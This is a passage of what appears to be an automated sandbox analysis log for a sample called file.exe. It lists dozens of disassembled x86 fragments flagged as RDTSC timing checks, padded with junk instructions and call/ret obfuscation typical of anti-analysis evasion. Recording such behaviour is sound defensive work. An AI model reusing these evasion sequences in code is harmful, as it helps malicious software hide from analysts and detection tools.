Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619D04 second address: 619D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jmp 00007F44A4EBD62Ah 0x0000000e pop ebx 0x0000000f jnc 00007F44A4EBD628h 0x00000015 popad 0x00000016 nop 0x00000017 mov dword ptr [ebp+122D1EACh], edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007F44A4EBD628h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 push 00000000h 0x0000003b mov edi, 01823B78h 0x00000040 xchg eax, esi 0x00000041 push ebx 0x00000042 jng 00007F44A4EBD62Ch 0x00000048 jnl 00007F44A4EBD626h 0x0000004e pop ebx 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 je 00007F44A4EBD62Ch 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619D6F second address: 619D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619D73 second address: 619D87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4EBD630h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610248 second address: 610256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jne 00007F44A4E06776h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612DD6 second address: 612DE0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F44A4EBD626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614E77 second address: 614E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613FB5 second address: 613FBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616E0A second address: 616E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44A4E0677Ch 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e sub edi, dword ptr [ebp+124503C4h] 0x00000014 push dword ptr fs:[00000000h] 0x0000001b cmc 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 or edi, 0CB5A300h 0x00000029 mov eax, dword ptr [ebp+122D0631h] 0x0000002f call 00007F44A4E06783h 0x00000034 call 00007F44A4E06787h 0x00000039 jnl 00007F44A4E06776h 0x0000003f pop ebx 0x00000040 pop edi 0x00000041 push FFFFFFFFh 0x00000043 mov edi, 1CE37A2Dh 0x00000048 nop 0x00000049 jmp 00007F44A4E06786h 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A004 second address: 61A008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A008 second address: 61A00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6209C5 second address: 6209CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6209CB second address: 6209CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FA61 second address: 61FA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FA66 second address: 61FA70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F44A4E06776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FA70 second address: 61FA74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FA74 second address: 61FA83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FA83 second address: 61FA87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FA87 second address: 61FA8D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FA8D second address: 61FAAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4EBD639h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621A37 second address: 621A48 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F44A4E06776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621A48 second address: 621A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621AEA second address: 621AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620B69 second address: 620B74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F44A4EBD626h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620B74 second address: 620BF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F44A4E06776h 0x00000009 jmp 00007F44A4E06780h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007F44A4E06783h 0x00000017 nop 0x00000018 mov dword ptr [ebp+122D1ADEh], ecx 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov bx, 9AECh 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007F44A4E06778h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 0000001Bh 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a mov eax, dword ptr [ebp+122D13F9h] 0x00000050 push ecx 0x00000051 mov edi, dword ptr [ebp+122D3182h] 0x00000057 pop ebx 0x00000058 push FFFFFFFFh 0x0000005a nop 0x0000005b pushad 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622B38 second address: 622B42 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F44A4EBD62Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621CE3 second address: 621CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62722D second address: 627243 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F44A4EBD626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F44A4EBD62Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3E64 second address: 5D3E6E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F44A4E06776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3E6E second address: 5D3E73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D8EA second address: 62D8F0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D8F0 second address: 62D8F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D8F9 second address: 62D923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push ebx 0x00000008 jmp 00007F44A4E06783h 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F44A4E0677Ah 0x00000018 push edx 0x00000019 pop edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4C40 second address: 5C4C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4C46 second address: 5C4C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4C4A second address: 5C4C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D17C second address: 62D1A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06783h 0x00000007 jmp 00007F44A4E06784h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630BA1 second address: 630BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630BA5 second address: 630BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F44A4E0677Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6341DB second address: 6341F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F44A4EBD62Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6341F4 second address: 6341FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6341FB second address: 634213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c je 00007F44A4EBD628h 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634213 second address: 634217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634217 second address: 63421B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63421B second address: 63423A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44A4E06783h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63423A second address: 634260 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD638h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634260 second address: 634264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6343CF second address: 6343D5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639236 second address: 63923E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63923E second address: 639242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639242 second address: 639246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639246 second address: 63926E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F44A4EBD626h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F44A4EBD635h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63926E second address: 639274 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639274 second address: 639284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007F44A4EBD626h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639808 second address: 63980D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639ADA second address: 639B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F44A4EBD626h 0x0000000a jmp 00007F44A4EBD632h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F44A4EBD62Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639B08 second address: 639B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639B0E second address: 639B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639B13 second address: 639B32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06783h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639B32 second address: 639B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F44A4EBD62Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639B4A second address: 639B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639B4E second address: 639B58 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F44A4EBD626h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DD11 second address: 63DD15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DD15 second address: 63DD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6434AC second address: 6434B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642BAF second address: 642C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Ah 0x00000007 push edi 0x00000008 jmp 00007F44A4EBD632h 0x0000000d jmp 00007F44A4EBD636h 0x00000012 pop edi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 jmp 00007F44A4EBD638h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642C03 second address: 642C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F44A4E06776h 0x0000000a popad 0x0000000b jmp 00007F44A4E0677Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F44A4E06781h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642ED6 second address: 642EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642EDC second address: 642EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642EE6 second address: 642EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642EEE second address: 642EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642EF6 second address: 642F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F44A4EBD626h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642F02 second address: 642F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 push edx 0x00000008 ja 00007F44A4E06776h 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642F15 second address: 642F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643173 second address: 643177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643177 second address: 64319F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44A4EBD632h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C66E0 second address: 5C66F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F44A4E0677Ch 0x0000000b jg 00007F44A4E06776h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C66F1 second address: 5C6709 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F44A4EBD632h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6709 second address: 5C6719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F44A4E06776h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6719 second address: 5C671D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C671D second address: 5C6753 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06788h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F44A4E06784h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B2FB second address: 64B320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD637h 0x00000007 jne 00007F44A4EBD626h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B320 second address: 64B324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B324 second address: 64B328 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B5E8 second address: 64B604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F44A4E06787h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B896 second address: 64B89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BE36 second address: 64BE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C272 second address: 64C276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C276 second address: 64C280 instructions: 0x00000000 rdtsc 0x00000002 je 00007F44A4E06776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AC53 second address: 64AC66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F44A4EBD626h 0x00000009 je 00007F44A4EBD626h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FD64 second address: 64FD86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06783h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F44A4E06776h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611098 second address: 6110A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611285 second address: 611289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611431 second address: 611437 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611437 second address: 611454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4E06789h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611A44 second address: 611ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44A4EBD62Eh 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F44A4EBD628h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 jnp 00007F44A4EBD62Ch 0x0000002e push 0000001Eh 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F44A4EBD628h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a push esi 0x0000004b mov cx, C5B3h 0x0000004f pop edi 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 